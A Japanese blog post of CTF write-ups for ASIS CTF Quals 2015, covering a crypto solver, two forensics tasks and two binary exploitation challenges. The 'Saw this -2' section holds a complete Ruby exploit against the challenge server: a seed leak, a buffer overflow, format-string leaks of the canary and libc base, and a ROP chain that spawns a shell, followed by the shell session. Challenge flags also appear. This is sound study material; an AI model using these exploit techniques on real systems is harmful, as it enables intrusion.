Subscribed unsubscribe Subscribe Subscribe

しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

ASIS CTF Quals 2015 writeup (1/2)

ASIS CTF Quals 2015に参加しました(`・ω・´)

サービス問題2問を含む12問を解いて、1701ptの38位でした(*´ω`*)

バイナリ系がいい感じに解けて成長を感じます。

CryptoとWeb? さぁ知らない子ですねぇ……←

writeup半分まで書いて力尽きたので、とりあえず半分載せておきます……。

追記:後半はこちら charo-it.hatenablog.jp


Simple Algorithm (Crypto:100pt)

暗号化の流れはこんな感じ。

(1) "abcde"
       ↓ hexにする
(2) "6162636465"
       ↓ 3文字目以降を取り出し……
(3) "62636465"
       ↓ 16進数とみなして10進数に直す
(4) "1650680933" (=0x62636465)
       ↓ 先頭から2文字ごとに区切り……
(5) [16, 50, 68, 09, 33]
       ↓ 各要素を10進数とみなしてFAN関数に通す
(6) [81, 651, 738, 28, 244]
       ↓ くっつける
(7) 8165173828244

復号は暗号の手順を逆から辿ればOK。

ただし、(4)から(5)への変換において、

例1
(4) "165068339"
       ↓
(5) [16, 50, 68, 33, 9]

例2
(4) "1650683309"
       ↓
(5) [16, 50, 68, 33, 09(=9)]

という風に、異なる平文から同じ暗号文が出ることがあることを考慮する必要がある。

以下solver(ちゃっかりRubyに移植してます←)

def fan(n, m)
    i = 0
    z = []
    s = 0
    while n > 0
        if n % 2 != 0
            z << (2 - (n % 4))
        else
            z << 0
        end
        n = (n - z[i]) / 2
        i += 1
    end
    z = z.reverse
    l = z.length
    for i in 0...l
        s += z[i] * m ** (l - 1 - i)
    end
    return s
end

# FAN(0), FAN(1), ..., FAN(99)を計算し、対応表を作っておく
Dictionary = {}
(0..99).each{|n|
    Dictionary[fan(n, 3)] = n
}

# FAN関数に通す前の値を再帰で探索
def solve(str, result)

    if str.length == 0
        return true
    end

    [4, str.length].min.downto(1){|length|
        if Dictionary.key?(str[0...length].to_i)
            result.push(Dictionary[str[0...length].to_i])
            if solve(str[length..-1], result)
                return true
            end
            result.pop
        end
    }

    return false
end

answer = 2712733801194381163880124319146586498182192151917719248224681364019142438188097307292437016388011943193619457377217328473027324319178428

result = []
solve(answer.to_s, result)
iflag = result.map{|a| sprintf("%02d", a)}.tap{|a| a[-1] = a[-1].to_i.to_s}.join.to_i  # 最後の要素が1桁だったのでtap内で調整

hflag = "41" + iflag.to_s(16)  # フラグは"ASIS{md5}"のフォーマットなので、最初の文字は"A"(0x41)になるはず
flag = [hflag].pack("H*")
puts flag
# => ASIS{a9ab115c488a311896dac4e8bc20a6d7}

FLAG:ASIS{a9ab115c488a311896dac4e8bc20a6d7}

Broken Heart (Forensics:100pt)

pcapファイル。

1つのファイルをRangeヘッダで分割してダウンロードしているので、データを取り出した後にスクリプトを書いて復元。

#coding:ascii-8bit

# ファイルの一覧取得
path = "./files/"
files = []
minnum, maxnum = [1 << 31, 0]
Dir.foreach(path){|f|
    if f !~ /\./
        from, to = f.split("-").map{|a| a.to_i}
        minnum = [minnum, from].min
        maxnum = [maxnum, to].max
        files << {name: path + f, from: from, to: to}
    end
}

data = ""
pos = minnum

while pos < maxnum
    # 欲しいデータを含むファイルを探す
    entry = files.find{|f| f[:from] <= pos && pos <= f[:to]}
    if !entry
        puts "Can't find data with ByteNo.#{pos}"
        exit
    end

    content = open(entry[:name], "rb").read
    data << content[pos - entry[:from] .. -1]
    pos = entry[:to] + 1
end

open("result.bin", "wb").write(data)
puts "Done."

先頭13バイトが欠けているが、ファイルの最後にIENDがあり、pngファイルとわかるのでヘッダ追加。

FLAG:ASIS{8bffe21e084db147b32aa850bc65eb16}

Keka Bomb (Forensic:75pt)

謎の7zが渡されるので、とりあえずWinRARで確認すると…… f:id:Charo_IT:20150511231908p:plain 1つだけチェックサムが違う、というものすごく怪しいファイルがあるので取り出す。

……という作業を繰り返し、最後に残ったファイルの中にフラグがある。

FLAG:ASIS{f974da3203d155826974f4a66735a20b}

Saw this -1 (pwn:100pt)

Cに直すとこんな感じ。

char name[64];  //0x603108
int seed;  //0x603148

void generate_seed(){  //0x400c09
    seed = rand();
    return;
}

void read_string(char *_buffer, int _length){  //0x400b37
    int length = _length;  //rbp-0x1c
    char *buffer = _buffer;  //rbp-0x18
    int i;  //rbp-0x8
    int c;  //rbp-0x4

    for(i = 0; i < length; i++){  //length文字いっぱいまで入力した場合はNULL文字を入れない
        c = getchar();
        if(c == -1){
            puts("DO NOT ignore me! GAME OVER!");
            exit(0);
        }

        if(c == '\n'){
            if(i == 0){
                i -= 1;
                continue;
            }
            buffer[i] = '\0';
            return;
        }else{
            buffer[i] = c;
        }
    }
}

int read_int(){  //0x400c1a
    int value;  //rbp-0x24
    char buffer[];  //rbp-0x20
    long canary;  //rbp-0x8

    read_string(buffer, 15);

    value = atoi(buffer);

    return value;
}

double rand_double(){  //0x400bb5
    int var_4;  //rbp-0x4

    var_4 = rand();  //0 ≦ var_4 ≦ 2147483647

    return (double)var_4 / 2147483647.0;  //0 ≦ result ≦ 1
}

int main(){
    int j;  //rbp-0x6c
    int var_68;  //rbp-0x68
    int var_64;  //rbp-0x64
    char answer[16];  //rbp-0x60
    char input[16];  //rbp-0x50
    int number_count;  //rbp-0x40
    int lucky_number;  //rbp-0x3c
    int is_cleared;  //rbp-0x38
    int i;  //rbp-0x34
    char c;  //rbp-0x30
    char *result;  //rbp-0x28
    long canary;  //rbp-0x18

    setbuf(stdout, 0);
    memset(answer, 0, 64);
    generate_seed();

    printf(すごいAA);
    printf("How can I call you? ");
    read_string(name, sizeof(name));
    printf("Welcome , %s!\n", name);

    printf("Choose your lucky number (1-100)! But choose wisely, your life depends on it: ");
    lucky_number = read_int();
    if(lucky_number > 100){
        puts("You want too much! GAME OVER!");
        exit(0);
    }

    while(1){
        var_68 = seed + lucky_number;
        srand(var_68);
        is_cleared = 0;
        result = "YOU LOST THE GAME! IT'S OVER!";

        number_count = (int)(rand_double() * 13.0 + 4.0);
        printf("I've thought of %d numbers. If you guess them correctly, you are free!\n", number_count);

        for(i = 0; i < number_count; i++){
            answer[i] = (unsigned char)(rand_double() * 256.0);
        }

        for(j = 0; j < number_count; j++){
            printf("Number #%d: ", j + 1);
            input[j] = read_int();
            var_64 = memcmp(answer, input, 16) == 0;
            if(!is_cleared && var_64){
                is_cleared = 1;
                result = "YOU WON! You are free now!";
            }
        }

        printf(result);
        if(is_cleared != 1){
            exit(0);
        }

        print_flag1();

        while(1){
            printf("Do you want to play again (y/n)? ");
            read_string(&c, 1);
            if(c == 'n' || c == 'N'){
                return;
            }
            if(c == 'y' || c == 'Y'){
                break;
            }
        }
    }

}

数当てゲーム。

システムで生成した乱数(seed)とユーザが入力した数字(lucky_number)を足したものを乱数の種にしている。
乱数の種が分かれば、生成される乱数をすべて予測できるので、seedを何とかできないか考える。

プログラムをよく見ると、

  • nameの領域のすぐ後ろにseedがある
  • nameの入力で使われるread_string関数は、lengthバイト入力された場合にバッファの末尾にNULL文字を入れない

という動作になっており、name入力時に64バイト入力するとname出力時にseedがリークできる。

ということで、ターミナルを2つ使い、以下のような感じで攻略した。

[Terminal1 : exploit実行]
$ ruby saw.rb
[*] connected
[*] leak seed
seed = 0x6150a1d6
[*] send lucky number
Input numbers=
(入力待ち)

*--------------------ターミナル切り替え--------------------*

[Terminal2 : ローカルにてgdbでデバッグ実行中のsaw]
(gdb) b *0x400e50          ←srand前とanswer生成後にブレークポイントを張る
Breakpoint 1 at 0x400e50
(gdb) b *0x400ee6
Breakpoint 2 at 0x400ee6
(gdb) r

(AA略)
How can I call you? a
Welcome, a!
Choose your lucky number (1-100)! But choose wisely, your life depends on it: 1     ←lucky_numberは1にした

Breakpoint 1, 0x0000000000400e50 in ?? ()
1: x/5i $pc
=> 0x400e50:    call   0x400910 <srand@plt>
   0x400e55:    mov    DWORD PTR [rbp-0x38],0x0
   0x400e5c:    mov    QWORD PTR [rbp-0x28],0x4022bd
   0x400e64:    mov    eax,0x0
   0x400e69:    call   0x400bb5
(gdb) set $rdi=0x6150a1d6 + 1     ←Terminal1で取得したseed + lucky_numberをsrandの引数としてセット
(gdb) c
Continuing.
I've thought of 10 numbers. If you guess them correctly, you are free!

Breakpoint 2, 0x0000000000400ee6 in ?? ()
1: x/5i $pc
=> 0x400ee6:    mov    DWORD PTR [rbp-0x6c],0x0
   0x400eed:    jmp    0x400f62
   0x400eef:    mov    eax,DWORD PTR [rbp-0x6c]
   0x400ef2:    add    eax,0x1
   0x400ef5:    mov    esi,eax
(gdb) x/16bx $rbp-0x60     ←生成された乱数を表示
0x7fffffffe0f0: 0x2e    0x63    0xf4    0x21    0x34    0xf0    0x4a    0xfd
0x7fffffffe0f8: 0x79    0x03    0x00    0x00    0x00    0x00    0x00    0x00

*--------------------ターミナル切り替え--------------------*

[Terminal1]
Input numbers=
0x2e 0x63 0xf4 0x21 0x34 0xf0 0x4a 0xfd 0x79 0x03     ←Terminal2で出力した乱数を入力

YOU WON! You are free now!

(AA略)
Flag 1: ASIS{109096cca8948d1cebee782a11d2472b}

exploitは以下。

#coding:ascii-8bit
require_relative "../pwnlib"

PwnTube.open("87.107.123.3", 31337){|tube|
    tube.recv_until("How can I call you?")

    puts "[*] leak seed"
    tube.send("A" * 64)
    seed = tube.recv_until(/Welcome, A{64}..../)[-4..-1].unpack("L")[0]
    printf("seed = 0x%08x\n", seed)

    puts "[*] send lucky number"
    tube.send("1\n")

    puts "Input numbers="
    numbers = gets.chomp.split.map{|a| a.to_i(16)}
    numbers.each{|n|
        tube.send("#{n}\n")
    }

    tube.interactive(false)
}

FLAG:ASIS{109096cca8948d1cebee782a11d2472b}

Saw this -2 (pwn:400pt)

今度はshellを取る方法を考える。

まずは下調べ。

$ checksec.sh --file sawthis
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   sawthis

プログラムを改めてよく見ると、

  • rand関数は0~2147483647(境界含む)の乱数を生成するので、rand_double関数の戻り値は0.0~1.0(境界含む)
  • rand_double関数の戻り値が1.0になった場合、number_countは17になる
  • number_countが17になった場合、17回目のinput[j] = read_int();number_countの下位1バイト目を上書きしてしまう
  • number_countがコントロールできるので、スタックを盛大に破壊できる

というバッファオーバフローの脆弱性があることがわかる。

従って、

  1. number_countが17になる(⇔最初の乱数が2147483647になる)ような乱数の種を探す
  2. canary対策
  3. ASLR対策

という課題をクリアした上でROPを組めばshellが取れる。

1. 乱数の種探し

とりあえずブルートフォースでCPUぶん回してみた。

#include <stdio.h>
#include <stdlib.h>

int main(){
    unsigned int i = 0;
    while(++i){
        srand(i);
        if(rand() == 0x7fffffff){
            printf("%u\n", i);
            break;
        }
    }
    return 0;
}

それっぽい値(肝心の数値は紛失orz)は出たが、その値を乱数の種にしてsawthisで乱数を生成させても2147483647が出てこない(´・ω・`)

調査のためrand関数のソースを見ると、乱数の生成方法は2通りある模様。

sawthisをgdbデバッグ実行してsrandの直後に生成される乱数を調べた結果、今回のプログラムで使われているのは

int32_t val = state[0];  //state[0]は初回のみ乱数の種、2回目以降は前回生成した乱数
val = ((state[0] * 1103515245) + 12345) & 0x7fffffff;
state[0] = val;
*result = val;

のタイプであることが分かった。

乱数生成の式が分かったので逆算できる気もしたが、めんどくさかったのでブルートフォースで乱数の種を探した。

#include <stdio.h>

int main(){
    unsigned int i = 0;
    while(++i){
        if((((i * 1103515245) + 12345) & 0x7fffffff) == 0x7fffffff){
            printf("%u\n", i);
            break;
        }
    }
    return 0;
}

// => 230538014

実際に動かして確認。

(gdb) b *0x400e50          ←srand前にブレークポイントを張る
Breakpoint 1 at 0x400e50
(gdb) r

(AA略)
How can I call you? a
Welcome, a!
Choose your lucky number (1-100)! But choose wisely, your life depends on it: 1

Breakpoint 1, 0x0000000000400e50 in ?? ()
1: x/5i $pc
=> 0x400e50:    call   0x400910 <srand@plt>
   0x400e55:    mov    DWORD PTR [rbp-0x38],0x0
   0x400e5c:    mov    QWORD PTR [rbp-0x28],0x4022bd
   0x400e64:    mov    eax,0x0
   0x400e69:    call   0x400bb5
(gdb) set $rdi=230538014     ←乱数の種を設定
(gdb) c
Continuing.
I've thought of 17 numbers. If you guess them correctly, you are free!     ←number_countが17になった

seed + lucky_number == 230538014になるようにlucky_numberを決めれば、確実にバッファオーバフローを起こすことができる。
なお、lucky_numberに100を超える値は設定できないという制約があるが、ほとんどの場合seed > 230538014になる上、lucky_numberは負数の入力が通るので問題ない。

2. canary対策

数当てゲームの数字を答え終わった後に呼ばれるprintf(result);を使う。

バッファオーバフローでresultが指す文字列を"%17$p"に変えることができれば、format string attackでcanaryの値をリークさせることができる。

"%17$p"という文字列をどこに置いておくかという問題があるが、今回は常にアドレスが固定になるnameに置くことにした。

3. ASLR対策

ここでもprintf(result);を使う。

バッファオーバフローでresultの指すアドレスをGOTにしておくことでlibcのベースアドレスを調べることができる。

実践

課題を全部クリアできたので、あとはやるだけ(`・ω・´)

#coding:ascii-8bit
require_relative "../pwnlib"

RANDOM_KEY = 230538014

PwnTube.open("87.107.123.3", 31337){|tube|
    tube.recv_until("How can I call you?")

    name_address = 0x603108
    got_free_address = 0x603018
    call_pop_rdi = 0x401073

    puts "[*] leak seed"
    tube.send("[canary=%17$p]".ljust(64, "A"))  # canaryリーク用にformat stringを仕込んでおく
    seed = tube.recv_until(/Welcome, .{64}..../)[-4..-1].unpack("L")[0]
    printf("seed = 0x%08x\n", seed)
    lucky_number = RANDOM_KEY - seed
    if lucky_number > 100
        raise "[!] lucky number > 100"
    end

    puts "[*] send lucky number"
    tube.send("#{lucky_number}\n")

    puts "[*] leak canary"
    payload = "\x00" * 16
    payload << [48].pack("L")  # number_count上書き
    payload << [lucky_number].pack("L")  # lucky_numberはそのまま
    payload << [1].pack("L")  # is_clearedフラグを立てる
    payload << [payload.length].pack("L")  # iもそのまま
    payload << "\x00" * 8
    payload << [name_address].pack("Q")  # resultはnameに向けておく
    payload.bytes.each{|b|
        print "."
        tube.send("#{b}\n")
    }
    puts
    canary = tube.recv_until(/canary=0x[0-9a-f]{16}/)[-16..-1].to_i(16)
    puts sprintf("canary=%016x", canary)

    # retry
    tube.recv
    tube.send("y\n")

    puts "[*] leak libc base"
    payload = "\x00" * 16
    payload << [48].pack("L")
    payload << [lucky_number].pack("L")
    payload << [1].pack("L")
    payload << [payload.length].pack("L")
    payload << "\x00" * 8
    payload << [got_free_address].pack("Q")  # 今度はGOTに向ける
    payload.bytes.each{|b|
        print "."
        tube.send("#{b}\n")
    }
    puts
    tube.recv_until('Number #48: ')
    free_address = tube.recv(8).unpack("Q")[0] & 0x0000ffffffffffff
    libc_base = free_address - 0x7a920
    system_address = libc_base + 0x3fc70
    bin_sh_address = libc_base + 0x14bc23
    puts sprintf("free = 0x%016x", free_address)
    puts sprintf("libc base = 0x%016x", libc_base)

    # retry
    tube.recv
    tube.send("y\n")

    # ROP
    puts "[*] send rop"
    payload = "\x00" * 16
    payload << [112].pack("L")
    payload << [lucky_number].pack("L")
    payload << [1].pack("L")
    payload << [payload.length].pack("L")
    payload << "\x00" * 8
    payload << [name_address].pack("Q")
    payload << "\x00" * 8
    payload << [canary].pack("Q")
    payload << "\x00" * 24
    payload << [call_pop_rdi, bin_sh_address].pack("Q*")
    payload << [system_address].pack("Q")
    payload.bytes.each{|b|
        print "."
        tube.send("#{b}\n")
    }
    puts

    puts "[*] trigger"
    tube.recv
    tube.send("n\n")

    tube.interactive
}
$ ruby saw2.rb
[*] connected
[*] leak seed
seed = 0x20570587
[*] send lucky number
[*] leak canary
................................................
canary=72e3c414079e7b00
[*] leak libc base
................................................
free = 0x00007f097d773920
libc base = 0x00007f097d6f9000
[*] send rop
................................................................................
................................
[*] trigger
[*] interactive mode
id
uid=1001(flaguser) gid=1001(flaguser) groups=1001(flaguser)
ls -la
total 52
drwxr-x--- 2 root flaguser  4096 Mar 29 05:22 .
drwxr-xr-x 4 root root      4096 Mar 29 05:05 ..
-rw-r--r-- 1 root flaguser   220 Mar 29 05:05 .bash_logout
-rw-r--r-- 1 root flaguser  3392 Mar 29 05:05 .bashrc
-r--r----- 1 root flaguser    84 May  7 00:20 flag
-r--r----- 1 root flaguser  4357 May  7 00:20 freedom
-rw-r--r-- 1 root flaguser   675 Mar 29 05:05 .profile
-rwxr-xr-- 1 root flaguser 14584 Mar 24 06:03 sawthis
-rwxr-x--- 1 root flaguser   100 May  7 00:50 wrapper.sh
cat flag
7h15_ch4ll3ng3_g4v3_m3_br41n_c4nc3r

Flag 2: ASIS{be70e244675b9acd21ac0097d4f9d69b}
exit
[*] end interactive mode
[*] connection closed

FLAG:ASIS{be70e244675b9acd21ac0097d4f9d69b}